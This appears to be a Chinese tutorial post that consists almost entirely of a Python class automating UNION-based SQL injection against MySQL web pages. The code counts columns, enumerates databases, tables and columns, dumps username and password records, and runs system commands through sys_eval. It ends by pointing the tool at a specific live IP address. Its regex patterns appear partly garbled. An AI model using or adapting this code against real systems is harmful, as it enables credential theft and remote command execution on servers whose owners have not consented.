python脚本注入图片_python 编写注入脚本（2）

import urllib.request

import re

class MySQL():

def __init__(self,url=""):

self.url=url

self.dbname=""

self.tablelist=[]

#字段数

def columnCount(self):

page=urllib.request.urlopen(self.url).read()

i=1

while(True):

sql=urllib.request.urlopen(self.url+"%20order%20by%20"+str(i)).read()

if page!=sql:

break

i=i+1

return i-1

#填充字符

def filler(self):

temp=""

for i in range(0,self.columnCount()-1):

temp=temp+",1"

return temp

#当前使用的数据库

def dbName(self):

temp="%20and%201=2%20union%20select%20database()"+self.filler()

page=str(urllib.request.urlopen(self.url+temp).read())

datalist=re.findall(r']*>(.*?)', page, re.I | re.M)

self.dbname=datalist[3]

return datalist[3]

#当前数据库版本

def version(self):

temp="%20and%201=2%20union%20select%20version()"+self.filler()

page=str(urllib.request.urlopen(self.url+temp).read())

datalist=re.findall(r']*>(.*?)', page, re.I | re.M)

print(datalist[3])

#显示数据库下的所有表

def tables(self,db_name=""):

temp="%20and%201=2%20union%20select%20table_name"+self.filler()+"%20from%20information_schema.tables%20where%20table_schema='"+db_name+"'"

page=str(urllib.request.urlopen(self.url+temp).read())

datalist=re.findall(r']*>(.*?)', page, re.I | re.M)

templist=[]

for i in datalist[3::3]:

templist.append(i)

self.tablelist=templist

return templist

#显示数据表的字段test

def columnsName(self,tb_name):

temp="%20and%201=2%20union%20select%20column_name"+self.filler()+"%20from%20information_schema.columns%20where%20table_name='"+tb_name+"'"

page=str(urllib.request.urlopen(self.url+temp).read())

datalist=re.findall(r']*>(.*?)', page, re.I | re.M)

templist=[]

for i in datalist[3::3]:

templist.append(i)

return templist

#字段的属性

def columnsType(self,tb_name):

temp="%20and%201=2%20union%20select%20data_type"+self.filler()+"%20from%20information_schema.columns%20where%20table_name='"+tb_name+"'"

page=str(urllib.request.urlopen(self.url+temp).read())

datalist=re.findall(r']*>(.*?)', page, re.I | re.M)

templist=[]

for i in datalist[3::3]:

templist.append(i)

return templist

#数据表下的记录

def columnsContent(self,tb_name):

temp="%20and%201=2%20union%20select%20id,username,password%20from%20"+self.dbname+"."+tb_name+""

page=str(urllib.request.urlopen(self.url+temp).read())

l=re.findall(r']*>(.*?)', page, re.I | re.M)

templist=[l[i:i + 3] for i in range(0, len(l), 3)]

return templist

#执行sehll

def shell(self):

cmd=input("输入命令:")

l=cmd.split(" ")

cmd=""

for i in l:

cmd=cmd+str(i)+"%20"

temp="%20and%201=2%20union%20select%20sys_eval(%27"+cmd+"%27)"+self.filler()

page=str(urllib.request.urlopen(self.url+temp).read())

l=re.findall(r']*>(.*?)', page, re.I | re.M)

templist=[l[i:i + 3] for i in range(0, len(l), 3)]

return templist

test=MySQL("http://62.234.74.205/Login/Detail.php?id=1")